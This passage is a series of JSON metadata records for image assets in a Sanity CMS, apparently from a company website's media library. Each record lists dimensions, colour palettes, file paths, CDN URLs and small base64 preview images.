{"_createdAt":"2022-06-30T19:58:58Z","_id":"image-71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568-png","_rev":"cEPH2uRN58AU2lp9QO7spF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:21:00Z","assetId":"71c0f3af36d4e7295681c4c77c5017831ec566d2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3OpuuRP00_3008cIUzo-:-A","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.788732394366197,"height":568,"width":1584},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLUlEQVQYlWXO3WrCMABA4b72pibtteiNZA8jXgzBUahubrDB0Omq3aptmua3SZsIowibsnP/wfG6tzedTmcwGEwmk9Vqtdlsf4vjOE3T7KLdbjcej/v9PgAA+r4Hel0AwGg0CsMwyzJCCKVUCC6lVEpprc1fmhAynU6HwyGE0A8CD4IehBAhFEVzXJSMt0gqo03TuJOxTjeucae6cbq2jPPZbHbGQRB47cAZzxdpzgiruNKYasyM1A1W5iiNNA1VBnNdlOwfBi1eLB5xQbmoVKUx4bhgstIFFzkTSmsmJKGClPQawzZ0h56iUKRxXRxrXsrDXqZ7w8sq/1bHpOZU47Q6JBTnV7ilvo8Qenq4r94jt32zOLGbpV0/O5y4zxf7sXT5l41f7XrJD8kl/gE+d0yuiL+iEgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4e4c","foreground":"#fff","population":0.16,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d9dac","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":25.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b2cedc","foreground":"#000","population":0.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc88a","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":25.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e76c2e","foreground":"#fff","population":0.86,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568.png","path":"images/sczeoy4w/production/71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568.png","sha1hash":"71c0f3af36d4e7295681c4c77c5017831ec566d2","size":77700,"uploadId":"qA8wD5M34WwSpYvO648rLrnxgUQJMcSp","url":"https://cdn.sanity.io/images/sczeoy4w/production/71c0f3af36d4e7295681c4c77c5017831ec566d2-1584x568.png"} {"_createdAt":"2024-04-03T12:04:33Z","_id":"image-71c5015d4133740c2fb968a115a1c9003e09a560-207x63-png","_rev":"9k1srJVIAf7BJJgtqkiqR4","_type":"sanity.imageAsset","_updatedAt":"2024-04-03T12:04:33Z","assetId":"71c5015d4133740c2fb968a115a1c9003e09a560","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D*OgKN?bxuRjWB~qD%M{j[t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2857142857142856,"height":63,"width":207},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcSAAAXEgFnn9JSAAAA2UlEQVQYlY3QyysHUBTE8d9GQvLaYmGjSEmeeWYhChuKiDxKsqAoj6ws/Nvz0alrzWK6507nzny7HXzgJMlBkkd84xPPOE9yjTfcJbnEIfbbOYFZvOILj50kT9jDJm7wgns84CrJTZLy3lvoNkrH2MBukios3Xaw1cLWsI7lak2y2rz5JOXtNK0kWWrvNtpO+QW1XYSTmME0xjBSSjKeZBR96EJvkgEMY7BpCANJ+n/vRVgti62pSOZQBEU9laQbtfenknRqOCjkJEc4TXLW/vICC+j5T9Dv/APF8YAeWf7XTgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4a4","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":1.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-oracle-cloud-white.png","path":"images/sczeoy4w/production/71c5015d4133740c2fb968a115a1c9003e09a560-207x63.png","sha1hash":"71c5015d4133740c2fb968a115a1c9003e09a560","size":3971,"uploadId":"vADJ5RNrblDL0OM54s4BrZSCOibEaB2A","url":"https://cdn.sanity.io/images/sczeoy4w/production/71c5015d4133740c2fb968a115a1c9003e09a560-207x63.png"} {"_createdAt":"2022-06-30T20:10:14Z","_id":"image-71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500-jpg","_rev":"cEPH2uRN58AU2lp9QO8DZx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:05Z","assetId":"71d60ee1a2e763b53052546ebd89fcc925395921","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9TIwC%1*0%#Mw%go}r?Z~bbwfWBNtk9nj?GjZSiozn~btW;V[enoc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBAj/xAAeEAACAgMAAwEAAAAAAAAAAAABAgADBBESFCExcf/EABUBAQEAAAAAAAAAAAAAAAAAAAIB/8QAGBEBAQEBAQAAAAAAAAAAAAAAEQABEiH/2gAMAwEAAhEDEQA/AOp7SBW2zr19mepl8gack861uW5BAqPRAHz3K8ZKySyhSR62IdGWJaYiIo2d6kyqSl69LvepLGxqsZWWleQx6P7ESGLLrQfK6IiWN//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#899503","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4c404","foreground":"#000","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f33b16","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9bcc9","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d867","foreground":"#000","population":0.06,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#915953","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f33b16","foreground":"#fff","population":0.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500.jpg","path":"images/sczeoy4w/production/71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500.jpg","sha1hash":"71d60ee1a2e763b53052546ebd89fcc925395921","size":323725,"uploadId":"o1BJgqdZKLoEGQ8XfVEMbWmUjEbfyX1L","url":"https://cdn.sanity.io/images/sczeoy4w/production/71d60ee1a2e763b53052546ebd89fcc925395921-2500x2500.jpg"} {"_createdAt":"2023-10-18T11:00:44Z","_id":"image-71e85b676084c6d7d29026e1222397f6f9192c8a-1200x675-jpg","_rev":"kfl1F24L65Nzg04H5H7Vsw","_type":"sanity.imageAsset","_updatedAt":"2023-10-18T11:00:44Z","assetId":"71e85b676084c6d7d29026e1222397f6f9192c8a","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MqQZDx{KK6OY+t=|Ios:s:RjxGRQj]ofWU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":675,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUDBAYH/8QAIhAAAgEDBAIDAAAAAAAAAAAAAQIDAAQRBQYSIRNBIjFR/8QAFQEBAQAAAAAAAAAAAAAAAAAABgf/xAAdEQACAQUBAQAAAAAAAAAAAAABAgADBAURYSEx/9oADAMBAAIRAxEAPwBxbx2i26u4TOO+6tpuBNClidYFmlmBSAfjeqQ5+KVFvNQbPTT75jugeNIe7QESi53dK0dtzZHcMmqqlzeafCtwV4uuR0RRXMrgeOVljZ1H3gOaKUvZUnYsQPeQTTy7ooUD52f/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d545a","foreground":"#fff","population":1.66,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca49b","foreground":"#000","population":4.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1c589","foreground":"#000","population":0.8,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#507aa6","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.64,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"video-thumbnail-why-thinking-sideways.jpg","path":"images/sczeoy4w/production/71e85b676084c6d7d29026e1222397f6f9192c8a-1200x675.jpg","sha1hash":"71e85b676084c6d7d29026e1222397f6f9192c8a","size":149226,"uploadId":"uiMKjfbtFhw9Vv78GBjeDXmTqK62kwQ8","url":"https://cdn.sanity.io/images/sczeoy4w/production/71e85b676084c6d7d29026e1222397f6f9192c8a-1200x675.jpg"} {"_createdAt":"2022-06-23T11:10:10Z","_id":"image-71ff6e7698ca4eccb4ffb2ed877d4fbe9cbcbb72-2500x1308-jpg","_rev":"oamrAPLmQLQjd9jh7c8MHG","_type":"sanity.imageAsset","_updatedAt":"2022-06-23T11:10:10Z","assetId":"71ff6e7698ca4eccb4ffb2ed877d4fbe9cbcbb72","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOS1*b}Rs7C6[C=_OYWmrsSe+HK$kWrXS~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGAwX/xAAkEAABBAEEAAcAAAAAAAAAAAABAAIDBBEFEhMhIiMxM0FRcf/EABYBAQEBAAAAAAAAAAAAAAAAAAUGB//EACIRAAIBAwIHAAAAAAAAAAAAAAECAAMEERKRBRQhUYHh8P/aAAwDAQACEQMRAD8AoXWomRtDqzXYHZPyk7MMFnTZZnyw15A/wNJxuH0tbhPC3tTmqtDrFQOAI5M4Pag+FHLgN1HqaZeK3LM1M6T38x+axVc/y4HbQMdn1QufN7rv1CVSyplQcncxilROgZb7ef/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#583c38","foreground":"#fff","population":0.61,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#072a66","foreground":"#fff","population":1.53,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":15.28,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8b0d4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c886","foreground":"#000","population":0.57,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#748c8c","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":15.28,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven_meta_preview.jpg","path":"images/sczeoy4w/production/71ff6e7698ca4eccb4ffb2ed877d4fbe9cbcbb72-2500x1308.jpg","sha1hash":"71ff6e7698ca4eccb4ffb2ed877d4fbe9cbcbb72","size":373476,"uploadId":"ZG5idNGXn7HHut6emTh3oNtzMkEPkTYT","url":"https://cdn.sanity.io/images/sczeoy4w/production/71ff6e7698ca4eccb4ffb2ed877d4fbe9cbcbb72-2500x1308.jpg"} {"_createdAt":"2023-03-15T12:51:41Z","_id":"image-721a6a0f52287a41a19fd53d91cf1c0a1c00aec1-800x800-jpg","_rev":"RksXZeZKLvjmDTh00dGVu2","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T12:51:41Z","assetId":"721a6a0f52287a41a19fd53d91cf1c0a1c00aec1","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcECAb/xAAjEAACAQQCAQUBAAAAAAAAAAABAgMABAURBhJhExQhMUFR/8QAFwEAAwEAAAAAAAAAAAAAAAAAAgMEAf/EABkRAAIDAQAAAAAAAAAAAAAAAAABAhESA//aAAwDAQACEQMRAD8A6W5JLJFhrloJvRkK6Emt9fNRR7/Icc5Jj5cXkrq79edUuIpm2rgn5PirLy4KcLN3mEIGj2qQYt7U563lyM59nBL2Z2+NH8pU9aVFXFQw3Iu6EsgJGiRSsltk7G4hWSC7heM/RDilNJTnjmnIcnfZq6E90/SJyqop0oA8V524uJrnbzyM5P8AaUqigUzB7mZdhJXUD8DEClKUJp//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52312e","foreground":"#fff","population":0.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#612923","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac7b6e","foreground":"#fff","population":5.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccada6","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dab4a9","foreground":"#000","population":4.76,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7b6e","foreground":"#fff","population":5.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc7c74","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"oskari-saarenmaa.jpg","path":"images/sczeoy4w/production/721a6a0f52287a41a19fd53d91cf1c0a1c00aec1-800x800.jpg","sha1hash":"721a6a0f52287a41a19fd53d91cf1c0a1c00aec1","size":124120,"uploadId":"b0f2LcySoCMKb3xe1Pb9wdRmfKE2f8BI","url":"https://cdn.sanity.io/images/sczeoy4w/production/721a6a0f52287a41a19fd53d91cf1c0a1c00aec1-800x800.jpg"} {"_createdAt":"2023-11-14T10:09:42Z","_id":"image-7229f83edfa98fa53183ba69634d08f96f14b6d3-1264x250-svg","_rev":"EVLU2D5xO53ClXMP648waj","_type":"sanity.imageAsset","_updatedAt":"2023-11-14T10:09:42Z","assetId":"7229f83edfa98fa53183ba69634d08f96f14b6d3","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"49PZZGtQ|D:RoP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":5.056,"height":250,"width":1264},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSElEQVQYlQXBz0vCUAAAYP+8iC7dgm7RoVPgoVNI0KEIy1MUBUVFlJZaS8QsaW7q5jab+t7etjc398PN/SBlTKhr35f6893HXw19LCbWeRIFmQSjcqzJpTgKMgvHvEgUWItdJzebOPtRv1cJEXyY+9PdOZZvf4bf1blr5xLXOUsUUI2tcSE1E/mBz1BTr8d8QgyvO6ivtFFfZvTRFY8MsivKE1Yy3lhk3tMcGLcEKCoDeGl3qK7ZbFheXyAcDTd0SXJ0VQWpsE58OdUX1awTRVJs5QqA4/KAY/MQnpQE/FpiZfTMaXdFwTgtssqgzCCSo5is/V6p2zUCeHTjxlTkJ0XFkopxM+Vy7e1xt31s8p3NnjJYoVS4R2GYIUfaMi3pW/QQZylorFPIXG0B7aAFtB1JHC7ZPJu2ePbQB+Ja5HsbQRQeBWGQ/gfDE/lJUM+CEwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3947","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a1b1a","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed513c","foreground":"#fff","population":3.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9bdbe","foreground":"#000","population":0.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f39a8c","foreground":"#000","population":0.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#557a9a","foreground":"#fff","population":0.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed513c","foreground":"#fff","population":3.61,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"36104f845f848043139cd28ef12ab00a731478f7-1264x250.svg","path":"images/sczeoy4w/production/7229f83edfa98fa53183ba69634d08f96f14b6d3-1264x250.svg","sha1hash":"7229f83edfa98fa53183ba69634d08f96f14b6d3","size":97663,"uploadId":"QC100SgFp6IyNJlIdEYbWLIpftFQOZY7","url":"https://cdn.sanity.io/images/sczeoy4w/production/7229f83edfa98fa53183ba69634d08f96f14b6d3-1264x250.svg"} {"_createdAt":"2022-06-30T19:57:32Z","_id":"image-7234af2425ed8049993ceab6e5f6ceace7ad7b5b-640x367-png","_rev":"LKSVNTHAdZDLniZ7u2CQJe","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:55:10Z","assetId":"7234af2425ed8049993ceab6e5f6ceace7ad7b5b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MeK-tYNG00R*9F~qj[E0ofM{9Fae%MkCt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7438692098092643,"height":367,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACIklEQVQokVWQTWsTURSGZy2CoAu7sJaIgi7EvWiCTbTms2jiThdaW0ysVWiamfsxC0OShZpOkoV/IG6qCxdCYhIQrJBFMeMfqC5LmZk7dzJfHUgMcjNtwYd3eZ77nnO5q8nMlfj9xLOXn3vfqDF0XddxHNd1D47xDkbj0WQy+TuZUEq73W65XIYQYoy5y9F7lxYWF5ZXP33taYQYBtV1olNKqUENhmVbnueNRqPxeKzreqfT8WVRFLmLd1KBSDKylPvY7iqqphOiqqpKiKYRlRBKqWWZ/i6e5xFC/pMDt1Pnw4nwk+xWq6swi6iqpk3bdUqN4dCyTMuyTNN0bFtT1U6nUyqVDteei6Rmw8n5pdxWu6fpumVZQ9O0bdudwk722OGuYbiKou3tdY+amTwbTp6bT4QeZ5tf2vuqak/x9zzGcRxbUcw/v/d3d9utVrlSQf7aM7cSZ0Pxa+lHsPa+9/3Hz8FgMJBl+Zcsy/JgwOKzsyP3+/3t7Q/NZrFYRAgx+UwodjoYmwkvXn/49JX4+s3bd9VqdVOS6pJU35TqtVr9iEajIUlSuVIRRRFjjEWROxWM+7kQTWeWs+v5As/zAgAQQAQhRghjxEYxxogBAQCFAhIEjBB38macJRgPRDMPVnIbvAAhhAgKELAnph/jVzETQiGfL+RywtoaAoA7cSPmZ+5uOrPynAeAzWEkIMAzHSBWfmhCAIX19UI2K7xYRUD4B5PUnU6YC7PlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34646c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#17404b","foreground":"#fff","population":17.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":30.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4bcc4","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e49497","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":30.71,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d65b5f","foreground":"#fff","population":0.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7234af2425ed8049993ceab6e5f6ceace7ad7b5b-640x367.png","path":"images/sczeoy4w/production/7234af2425ed8049993ceab6e5f6ceace7ad7b5b-640x367.png","sha1hash":"7234af2425ed8049993ceab6e5f6ceace7ad7b5b","size":22840,"uploadId":"5AFWxyldJJCtEnGE4Npxx5ryS4qW0WO4","url":"https://cdn.sanity.io/images/sczeoy4w/production/7234af2425ed8049993ceab6e5f6ceace7ad7b5b-640x367.png"} {"_createdAt":"2024-02-20T13:49:02Z","_id":"image-7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628-png","_rev":"AhQsd13Ciq0lSu1FlZAdi1","_type":"sanity.imageAsset","_updatedAt":"2024-02-20T13:49:02Z","assetId":"7254a76d1e3397ddfd44da0d3a7008e4fab4b360","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M384s8_5nxeR03-otSt2RO4;0Crl%OOJwV","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACTElEQVQokS3RfU8ScQDA8XsFujIPCvAAD7wn+N0dnvcoD4ccyIkSFEjqlvNhUuAoSFRQOyamy1CXIJKW01ptvcmy9QK+/3y+UB+cemB+TjBryUxzbrEVf3qAekqDSB62F03OtzZsz0mfukd72Ng1wV+RwjUl3uL8Hcr2nKAN9cEp2DYrBcuLq6f59W46d4wz5UHkFWwvmv/FLrZNCjeM3ParTVWtCUoDSBcYd+UEHajflLaiC4paycwfzS22plIfAL/hIEoOojJMbbrpBsl3gPBZUcrL2cKb+VVdzfr4EsGdDYMO9MiawcCKor6L6Dta4n043ghEjfFIQ4k0xyOH/uiJFOlxYsPPp9dyCzsryzPBME1P4z4DpS8gM5JjhUJ4cltL7EanjclkU08dxVMfY8nj6Ewrnu6EE9e8bHC0rvknnsV0ieEwIooxBsp0IbM955OKE3pNm9rREsbkTDOs70uqIQQbUvjAHzuRtR4rnwB6ifaogBQITMG9SyNsa5juQiZkllPWQ7EtRa2OT2xLoRrgq9TopnesTvjqbsbAuTNK7I0qp4p/ixfzDL9By+f/wcxITlbLodiWEKiIwaqXK7u8JT6wF4odAsFAiF2H55gUvsjaDy35MzL9XYn+8oV+Y9y3e7BBa5byrXm51xjIk751lCogWIEWa3J4n+J2bXh9iNh3sS1a6XKhr5x6ywbuKPHGxV7ef+43pQcsmQFL9qHlBTz0EkaWYGTV4ioiI2Wru/IYrT5x1224gZBNu+fI4f3kAGdOcO4E7b/xH7AcsxmGW8F1AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3162","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141f6c","foreground":"#fff","population":6.97,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0cfe2","foreground":"#000","population":8.05,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0cfe2","foreground":"#000","population":8.05,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8995c7","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#515d8e","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042ca4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"FinalLiliQuote3.png","path":"images/sczeoy4w/production/7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628.png","sha1hash":"7254a76d1e3397ddfd44da0d3a7008e4fab4b360","size":111587,"uploadId":"EJo291OsPwpYzwZuBcyJ3OinhFv99OZ5","url":"https://cdn.sanity.io/images/sczeoy4w/production/7254a76d1e3397ddfd44da0d3a7008e4fab4b360-1200x628.png"} {"_createdAt":"2024-03-05T12:25:29Z","_id":"image-727c9f983afd7c3cff0799526c137a9615b1661b-1567x844-png","_rev":"XLEaM1ZFR5SqX0P175PaAK","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T12:25:29Z","assetId":"727c9f983afd7c3cff0799526c137a9615b1661b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC8g?#%JISxaM|_4t6M{kDRkD$a$t6WBoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcUlEQVQokSXSeU/aAAAF8H4CKUfpfXGUihHcYrIskQmjwloQsbRSarlKhVnUSQyTORUPNrPFTtx0jmiWfdRN9//75eUlD/Bgqp/SYFpH2CoaMPFwh+S6RHibjPSY6Ht25oCZOaKjQ4ofENwOHuzC7KYHb4JoxQUrQGC68SKxm0j3E8J+WjpeWj5PS6NkdpQSL4RlJ1MYJ6VxIjtOipcpcfQydcjF9mDG9hCmGzMAfm5DkD4USqey9tkwr/TmeK16rdVv1mq3a7W7cv1eMe5X9XtZ/7mqOWLxYj5xRvEDmN2FmW2Ai1mLS/28fKLqF1rNUfRLdf2qXPuhGjfl+qTSfNAav3Xzj1qdFFQnX3JS0ph7doqFBzh3DIRnzVdCP1ccFtVRXh69WRnl5C9i8askO8r6nWJMVrSJWn1QjF/5klNQnGzhcmb+AA320NAA4ONWMtMXpIO0eJjMHi1mhq/F8wXhbEEYZQrfMivX6fx3Ub7NyeO09EnInS5mDiPxLYhuQbQNIKzO8A0m0qAjLYZvs9Pd4MwOG+2x0b1QbBCOf+TmhvzzEy6+z0a3HgP8JspaXqLhozqAC5ZBuATCKohobszw4E0faUHUJkR3IdqGaNvPvoPZno+yPVgNRHUf2YYo20uYXqIFIOgqTalMqIqHGhBZ9z7ijSdse0nLgze8ZAui3vrIthszQLQCUR2Itj14zYVoQICSY2EtNrcRnu2grAlRpp9uw0wXZrcgyvLghpeoQpTlI00QqYBI+amz6ULKU34ZoFgtENKDj7NbRMj6/zAqskPzPZLbxoIWFrTwkO2nWyBSdsGqG10H0coU